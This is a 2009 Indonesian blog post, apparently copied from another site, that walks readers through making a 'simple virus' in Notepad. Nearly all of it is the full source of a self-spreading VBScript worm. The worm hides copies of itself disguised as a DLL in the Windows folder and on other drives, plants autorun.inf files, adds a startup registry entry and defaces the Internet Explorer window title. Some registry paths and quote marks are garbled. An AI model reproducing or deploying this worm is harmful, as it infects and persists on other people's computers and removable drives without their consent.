Sesuai dengan Judulnya, yaitu Membuat Virus Sederhana..
Ini paling sederhana, Yang lo butuhin cuma NotePad aja kok..
Oke Sekarang Coba buka Notepadnya, dan masukin Script ini..
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]“&vbcrlf&”shellexecute=wscript.exe MS32DLL.dll.vbs”
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Jneterz”
rg.regwrite “HKCRvbsfileDefaultIcon”,”shell32.dll,2″
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”explorer.exe /e,/select, “&Wscript.ScriptFullname
Simpan dengan nama .vbs contoh virus.vbs
Apa yang terjadi..?
Tanggung Resikonya sendiri..
Xixixiixi..
klo antivirus lo aktiv pasti langsung kena tuh script.
dari : http://jneterz.ning.com
Monday 1 June 2009
Tags
# Trik
About EDY PRASETYA
Kunjungi halaman sosial media saya, jika ingin lebih tau atau mengenal saya
Trik
Label:
Trik
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment
Isikan komentar Anda dibawah ini :